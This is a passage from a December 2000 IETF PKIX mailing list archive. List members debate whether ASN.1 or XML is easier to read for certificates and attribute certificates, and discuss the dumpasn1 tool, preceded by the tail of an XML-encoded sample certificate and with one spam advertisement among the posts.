> >             21b195a2c601c9c3fa016f7986833d03
> >             61e1f192acbc034e89a3c9534af7e2a6
> >             48cf421e21b15c2b3a7fbabe6b5af70a
> >             26d88e1bebecbf1e5a3f45c0bd3123be
> >             6971a7c290fea5d680b524dc449ceb4d
> >             f9daf0c8e8a24c99075c8e352b7d578d
> >           </p>
> >           <q>
> >             a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
> >           </q>
> >           <g>
> >             0e3b46318a0a58864084e3a1220d88ca
> >             908857649f0121e01505942482e21090
> >             d9e14e105ce7546bd40c2b1b590aa0b5
> >             a17db507e3657cea90d88e3042e485bb
> >             acfa4e764b780edf6ce5a6e1bd59777d
> >             a69759c529a7b33f953e9df1592df742
> >             87623ff1b86fc73d4bb88d74c4ca4490
> >             cf67dbde1460974ad1f76d9e0994c40d
> >           </g>
> >         </parameters>
> >       </algorithm>
> >       <subjectPublicKey>
> >         028180aa98ea1394a2dbf15b7f982f78
> >         e7d8e3b97186f6802f4039c3da3b4b13
> >         4626ee0d56c5a33a39b77d33c26b5c77
> >         92f255659039cd1a3c86e132eb25bc91
> >         c4ff804f3661bdcce26104e07e6013ca
> >         c09cdde0ea41de33c1f144a9bc71decf
> >         59d46eda44993c2164e478549dd07bba
> >         4ef5184d5e3930bfe0d1f6f483254f14
> >         aa71e1
> >       </subjectPublicKey>
> >     </subjectPublicKeyInfo>
> >     <extensions>
> >       <Extension>
> >           <extnId>
> >           { 2 5 29 19 }
> >         </extnId>
> >         <critical>
> >           TRUE
> >         </critical>
> >         <extnValue>
> >           30030101ff
> >         </extnValue>
> >       </Extension>
> >       <Extension>
> >         <extnId>
> >           { 2 5 29 14 }
> >         </extnId>
> >         <extnValue>
> >           0414e726c554cd5ba36f356895aad5ff1c21e42275d6
> >         </extnValue>
> >       </Extension>
> >     </extensions>
> >   </toBeSigned>
> >   <algorithmIdentifier>
> >     <algorithm>
> >       { 1 2 840 10040 4 3 }
> >     </algorithm>
> >   </algorithmIdentifier>
> >   <encrypted>
> >     302c0214a066c176339913518d93642f
> >     ca1373de791a7d3302145d90f6ce924a
> >     bf2911248028a65a8e73b6760268
> >   </encrypted>
> > </Certificate>
> >
> > Regards,
> > Steven


From owner-ietf-pkix@imc.org  Sat Dec  9 02:21:42 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA17359
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 02:21:42 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA25024;
	Fri, 8 Dec 2000 23:18:26 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 23:17:06 -0800
Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24942
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 23:17:05 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id IAA12587;
	Sat, 9 Dec 2000 08:19:13 +0100 (CET)
Received: from mega (t3o69p19.telia.com [62.20.145.19])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB97JCo06030;
	Sat, 9 Dec 2000 08:19:12 +0100 (CET)
Message-ID: <002701c061b0$208b43b0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, "Tom Gindin" <tgindin@us.ibm.com>
Cc: <pbaker@verisign.com>, "Tim Polk" <tim.polk@nist.gov>,
        "Polar Humenn" <polar@adiron.com>
References: <OFCB451757.020F37A6-ON852569AF.00597E41@somers.hqregion.ibm.com>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Sat, 9 Dec 2000 08:17:42 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24944
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

>The two contending standards start fresh, with a lead of roughly one year for the
> binary versions.  I don't think that S2ML or XMLDSIG are so mature that
> they wipe out the lead CMS has - and please remember, this is not prejudice
> against XMLDSIG.

Tom,
We are both speculating but we don't come to the same conclusion.

The AC+CMS thing is ready on paper, while XMLDSIG is not.

Now, I am more a believer in marketing than in technicalities (well, things must work
of course), so therefore I suspect that the lead will be reversed before the ink has dried on
the AC RFC.  At least if we count the number of projects involved, money raised and
general company support.  Not to mention media headlines :-) 

Anders




From owner-ietf-pkix@imc.org  Sat Dec  9 11:35:41 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18642
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 11:35:40 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA16864;
	Sat, 9 Dec 2000 08:32:25 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 08:32:12 -0800
Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA16834
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 08:32:11 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id RAA20361;
	Sat, 9 Dec 2000 17:34:30 +0100 (CET)
Received: from mega (t5o69p104.telia.com [213.64.110.104])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9GYQo10733;
	Sat, 9 Dec 2000 17:34:30 +0100 (CET)
Message-ID: <003601c061fd$b275ab10$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: <pgut001@cs.auckland.ac.nz>, <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz>
Subject: Re: Semi-annual reminder: dumpasn1 utility available
Date: Sat, 9 Dec 2000 17:32:56 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id IAA16835
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Peter,

> This is a semi-annual reminder to people about dumpasn1, which picks apart
> ASN.1 data and displays it in human-readable form. 

I have to comments to this:

1. It seems like a very nice little utility which I had no problem to get running!

2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
structures you are dealing with in order to display such information.

<snip>


Anyway, a very good utility!

Anders




From owner-ietf-pkix@imc.org  Sat Dec  9 12:17:42 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24156
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 12:17:41 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA17832;
	Sat, 9 Dec 2000 09:14:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 09:14:31 -0800
Received: from nt1.rocori.k12.mn.us (nt1.rocori.k12.mn.us [207.229.251.2])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA17717;
	Sat, 9 Dec 2000 09:12:34 -0800 (PST)
Message-Id: <200012091712.JAA17717@ns.secondary.com>
From: Mail Sender<postmaster@rusgoods.ru>
To: ietf-nntp-request@academ.com
CC: ietf-openpgp@imc.org, ietf-openpgp-request@imc.org,
        ietf-otp@research.telcordia.com,
        ietf-otp-request@research.telcordia.com, ietf-pkix@imc.org
Subject: Russian Goods and Service from Moscow
Reply-To: mailsender@mailsender.ru
Date: 09.12.2000
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


www.rusgoods.com    www.rusgoods.ru
================================================================
We present you the production of the 1-st Moscow Watch Factory "Poljot" (Flying). From the simple mechanical 
watch of the series 2609 till unique, composite and precise mechanical o'clock - Marine timer . 
  It is unique factory in Russia, which makes mechanical hours with the Swiss quality. Factory, which makes 
watches for the Russian Air Forces , Russian Naval Forces. 
  All mechanical watch which we offer to you, will be delivered to you directly from the factory. If it isn't in the 
warehouse of the factory, we will place your order directly at the 1-st Moscow Watch Factory without any 
middlemans.
 The submarine "Kursk" had on board mechanical marine hronometr 6MX. 
 ===============================================================
The "table" of orders.    Here you can to order, to find, to know almost everything, than the Russia is rich, 
everything 
that does not contradict Russian Federation laws. 
Here you can receive or order:

The information about any enterprise, firm, organization, or person in Russia 
The production or any goods of Russian manufactories, and other things if it is possible. 
===============================================================
www.rusgoods.com    www.rusgoods.ru


From owner-ietf-pkix@imc.org  Sat Dec  9 12:58:29 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA28901
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 12:58:29 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA19108;
	Sat, 9 Dec 2000 09:55:06 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 09:54:46 -0800
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA19071
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 09:54:45 -0800 (PST)
Received: from judge.mcom.com (judge.mcom.com [205.217.237.53])
	by netscape.com (8.10.0/8.10.0) with ESMTP id eB9HmQ316955
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 09:48:26 -0800 (PST)
Received: from netscape.com ([205.217.229.174]) by
          judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id
          G5BB6A00.P7F; Sat, 9 Dec 2000 09:56:34 -0800 
Message-ID: <3A327252.4020309@netscape.com>
Date: Sat, 09 Dec 2000 09:56:34 -0800
From: thayes@netscape.com (Terry Hayes)
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; m18) Gecko/20001108 SeaMonkey6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: pgut001@cs.auckland.ac.nz, ietf-pkix@imc.org
Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Anders Rundgren wrote:

> Peter,
> 
> 
> 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
> as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
> is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
> structures you are dealing with in order to display such information.

And you have to _know_ in advance what the "Certificate", "Subject" and 
"Issuer" might be representing, how they should be processed, and what 
they might be useful for.  "Human-readable" doesn't help write programs.

Terry




From owner-ietf-pkix@imc.org  Sat Dec  9 15:50:59 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA27003
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 15:50:58 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA21814;
	Sat, 9 Dec 2000 12:47:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 12:47:33 -0800
Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA21783
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 12:47:31 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id VAA07900;
	Sat, 9 Dec 2000 21:49:46 +0100 (CET)
Received: from mega (t1o69p82.telia.com [62.20.144.82])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB9Knko10671;
	Sat, 9 Dec 2000 21:49:46 +0100 (CET)
Message-ID: <006901c06221$59269f00$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Terry Hayes" <thayes@netscape.com>, <ietf-pkix@imc.org>
Cc: <pgut001@cs.auckland.ac.nz>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 21:48:11 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id MAA21784
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Terry,
 
> > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is entirely correct
> > as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> > package I could not see tags like Certificate, Subject, Issuer etc.  AFAIK (this
> > is not much when it comes to ASN.1) you have to _know_ in advance what kind of data
> > structures you are dealing with in order to display such information.
> 
> And you have to _know_ in advance what the "Certificate", "Subject" and 
> "Issuer" might be representing, how they should be processed, and what 
> they might be useful for.  "Human-readable" doesn't help write programs.

Absolutely true, but if the elements represent data that two or more parties have to
agree upon, as for purchase orders (or why not ACs?), it helps a bit if the format gives some
aid to the debugging process.  Debugging was BTW the sole reason for me trying out Peter's
Dumpasn1 tool.  Using XML I would neither have had to "guess" element usage, nor use a "debugger".

Anders



From owner-ietf-pkix@imc.org  Sat Dec  9 16:36:29 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07198
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 16:36:28 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA22633;
	Sat, 9 Dec 2000 13:33:27 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 13:33:22 -0800
Received: from levitator.1div0.com (node.061.ty.link.si [213.250.43.61])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA22602
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 13:33:13 -0800 (PST)
Received: from intergalactic ([10.1.1.2])
	by levitator.1div0.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA11231;
	Sat, 9 Dec 2000 22:19:22 +0100
Reply-To: <denis.bider@denisbider.com>
From: <denis.bider@siol.net>
Sender: "denis bider" <denis.bider@globera.com>
To: "'Anders Rundgren'" <anders.rundgren@telia.com>, <ietf-pkix@imc.org>
Subject: EDDF (Was: RE: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 22:37:14 +0100
Message-ID: <004701c06228$330b0cf0$0201010a@intergalactic>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <003601c061fd$b275ab10$0201a8c0@vincent.se>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

> 2. Referring to the XML vs ASN.1 debate I do not think
> human-readable is entirely correct as ASN.1 does not
> support that.  At least when I dissassembled a PKCS #7
> package I could not see tags like Certificate, Subject,
> Issuer etc.  AFAIK (this is not much when it comes to
> ASN.1) you have to _know_ in advance what kind of data
> structures you are dealing with in order to display
> such information.

And by the way - I recently posted an EDDF announcement that received much
more attention in sci.crypt than it did here, although it is the people in
this group that it was primarily aimed at.

EDDF is an ASN.1-based data format that does exactly what you say ASN.1
doesn't do on its own: it provides some inherent sense for ASN.1 structures
in a manner very similar to XML. Of course, it is also technically much more
sound than XML. ;-)

If anyone is interested, I can compile a FAQ based on the recent discussion
in sci.crypt and post it here.

Regards,

denis

//
//  KEEP REAL CRYPTO, SAVE REAL MONEY
//  globera offers support for Crypto++, as well as
//  professional consulting and integration services
//  for practical applications of cryptography.
    Thanks to our location, we can offer quality
    services at compellingly reasonable rates.
    http://www.globera.com/services




From owner-ietf-pkix@imc.org  Sat Dec  9 17:17:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA15834
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 17:17:03 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA23313;
	Sat, 9 Dec 2000 14:13:58 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 14:13:49 -0800
Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA23282
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 14:13:48 -0800 (PST)
Received: from C70777A ([24.15.87.228]) by femail6.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20001209221611.WIUX24833.femail6.sdc1.sfba.home.com@C70777A>;
          Sat, 9 Dec 2000 14:16:11 -0800
Message-ID: <03cb01c0622d$c0d1d000$e4570f18@plstn1.sfba.home.com>
From: "Khaja E. Ahmed" <khaja.ahmed@home.com>
To: "Terry Hayes" <thayes@netscape.com>,
        "Anders Rundgren" <anders.rundgren@telia.com>
Cc: <pgut001@cs.auckland.ac.nz>, <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility available)
Date: Sat, 9 Dec 2000 14:17:01 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

I think what we are talking about here is the degree of readability or ease
of readability rather than just readability as a binary value.  I suspect
there are more people who "know in advance" what a "certificate"  or a
"subject" is than can recognize an OID representing these attributes.   I
suspect it can be agreed that "human readability" is not a binary value but
a continuum.  ASN.1 and XML are, it is being argued, at different spots on
this continuum.  XML is _more_ human readable than ASN.1.

Recognizing the highly subjective / non-quantifiable nature of such
assertions, it may be stated that:

1.) One needs to "know more" in order to read and understand ASN.1 encoded
information than would be necessary to read and understand the same
information encoded in XML.
2.) It takes less time to become proficient in XML than it does in ASN.1

At least that is what some people seen to believe.

Khaja


----- Original Message -----
From: "Terry Hayes" <thayes@netscape.com>
To: "Anders Rundgren" <anders.rundgren@telia.com>
Cc: <pgut001@cs.auckland.ac.nz>; <ietf-pkix@imc.org>
Sent: Saturday, December 09, 2000 9:56 AM
Subject: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility
available)


> Anders Rundgren wrote:
>
> > Peter,
> >
> >
> > 2. Referring to the XML vs ASN.1 debate I do not think human-readable is
entirely correct
> > as ASN.1 does not support that.  At least when I dissassembled a PKCS #7
> > package I could not see tags like Certificate, Subject, Issuer etc.
AFAIK (this
> > is not much when it comes to ASN.1) you have to _know_ in advance what
kind of data
> > structures you are dealing with in order to display such information.
>
> And you have to _know_ in advance what the "Certificate", "Subject" and
> "Issuer" might be representing, how they should be processed, and what
> they might be useful for.  "Human-readable" doesn't help write programs.
>
> Terry
>
>



From owner-ietf-pkix@imc.org  Sat Dec  9 20:19:49 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27455
	for <pkix-archive@odin.ietf.org>; Sat, 9 Dec 2000 20:19:49 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id RAA26966;
	Sat, 9 Dec 2000 17:16:31 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 9 Dec 2000 17:16:20 -0800
Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA26933
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 17:16:18 -0800 (PST)
Received: from asn-1.com (user-2ivf6bc.dialup.mindspring.com [165.247.153.108])
	by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id UAA04831
	for <ietf-pkix@imc.org>; Sat, 9 Dec 2000 20:18:40 -0500 (EST)
Message-ID: <3A32DAA2.18C7D570@asn-1.com>
Date: Sat, 09 Dec 2000 20:21:38 -0500
From: "Phillip H. Griffin" <phil.griffin@asn-1.com>
Reply-To: phil.griffin@asn-1.com
Organization: Griffin Consulting 
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix list <ietf-pkix@imc.org>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility 
 available)
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



Anders Rundgren wrote (in part):

snip 

>  Using XML I would neither have had to "guess" element 
>  usage, nor use a "debugger".

Really? Consider the ASN.1 value

   concord INTEGER ::= 3

which could be transferred directly as text or DER 
encoded into the binary value 0x020103.

What does representing this value using XML mark 
up such as  

   <concord> 3 </concord> 

tell you? 

Do I mean a how I rate a city, a quantity of grapes,
or that the treaty is behind door number number three?

I agree of course that the mark up format may be easier
for programmers who lack tools or reasonable skills and 
training to debug. But consider actual usage. 

I may debug this message for a short while during a
program development period, then deploy the program 
and transfer this message billions of times with no
human intervention. 

Why would I wish to transfer 22 bytes of information 
instead of three? 

What advantage does transferring 19 extra bytes give 
my application?

Once deployed, will it matter to the performance of
the program whether or not this message can be easily 
read by a human?

If a client should receive a broken message from my
program, will the users lot be improved if they can
correct the broken message with NotePad?

Phil


From owner-ietf-pkix@imc.org  Sun Dec 10 04:08:47 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA23315
	for <pkix-archive@odin.ietf.org>; Sun, 10 Dec 2000 04:08:47 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA09070;
	Sun, 10 Dec 2000 01:05:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sun, 10 Dec 2000 01:04:45 -0800
Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08874
	for <ietf-pkix@imc.org>; Sun, 10 Dec 2000 01:04:43 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id KAA19367;
	Sun, 10 Dec 2000 10:07:06 +0100 (CET)
Received: from mega (t2o69p111.telia.com [62.20.144.231])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBA975o05801;
	Sun, 10 Dec 2000 10:07:05 +0100 (CET)
Message-ID: <001301c06288$5d186cd0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: <phil.griffin@asn-1.com>, "pkix list" <ietf-pkix@imc.org>
References: <97623046120024@kahu.cs.auckland.ac.nz> <003601c061fd$b275ab10$0201a8c0@vincent.se> <3A327252.4020309@netscape.com> <006901c06221$59269f00$0201a8c0@vincent.se> <3A32DAA2.18C7D570@asn-1.com>
Subject: Re: ASN.1 readability (was Re: Semi-annual reminder: dumpasn1 utility  available)
Date: Sun, 10 Dec 2000 10:05:36 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id BAA08879
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Phil,

> >  Using XML I would neither have had to "guess" element 
> >  usage, nor use a "debugger".
> 
> Really? Consider the ASN.1 value
> 
>    concord INTEGER ::= 3
> 
> which could be transferred directly as text or DER 
> encoded into the binary value 0x020103.
> 
> What does representing this value using XML mark 
> up such as  
> 
>    <concord> 3 </concord> 
> 
> tell you? 
> 
> Do I mean a how I rate a city, a quantity of grapes,
> or that the treaty is behind door number number three?

I don't think that XML will solve all information problems, but if you get a whole
bunch of data like in the PKCS #7 blob I reffered to and you would like to cross-check
that with the specification (which was exactly what I tried to do), XML-based data would
be much simpler.

> I agree of course that the mark up format may be easier
> for programmers who lack tools or reasonable skills and 
> training to debug. But consider actual usage. 

This is both right and wrong.  If we consider things that for a lot of reasons
must be identically interpreted by a LARGE audience like the X509 certificate, any
coding scheme would do, ASN.1 included.

What sparked my interest in XML in conjunction with PKI was things like the AC which IMO
(but not in everyones opinion), could proliferate in completely local attribute schemes
as well as international or application-specific schemes.  These schemes will have
practically nothing but the header in common.  They may also change content frequently
(i.e. there will be versioning of attribute data).  If that really becomes the case, ASN.1
would be a bad choice.  But as you probably have noted the AC already has contenders
like S2ML so I don't think we will see that much AC implementations. 

Being in the computer business since 20 years I see program/format/message
incompatibilities becoming more and more the #1 problem/plauge.
The upgrading processes costs zillions of dollars each year.  ASN.1 does not
address this problem properly.

> I may debug this message for a short while during a
> program development period, then deploy the program 
> and transfer this message billions of times with no
> human intervention. 

For stable structures this is 100% true.  But is the world stable?

> Why would I wish to transfer 22 bytes of information 
> instead of three? 

Certainly not.  See answer above.

> What advantage does transferring 19 extra bytes give 
> my application?

Nothing of course!

> If a client should receive a broken message from my
> program, will the users lot be improved if they can
> correct the broken message with NotePad?

OK, I actually don't believe (hope at least!) that this is how XML incompatibilities will be handled.
The XML schema thing gives you a useful versioning capability that at least will make it 100%
clear if you are digesting the right stuff or not.  At least a starter although not a cure.  I don't
believe there is a cure for message incompatibilities.  Some XML proponents do.  They are
obviously selling something they cannot deliver!

Anders
 



From owner-ietf-pkix@imc.org  Mon Dec 11 08:09:46 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA16009
	for <pkix-archive@odin.ietf.org>; Mon, 11 Dec 2000 08:09:45 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA22963;
	Mon, 11 Dec 2000 05:05:35 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 11 Dec 2000 05:04:03 -0800
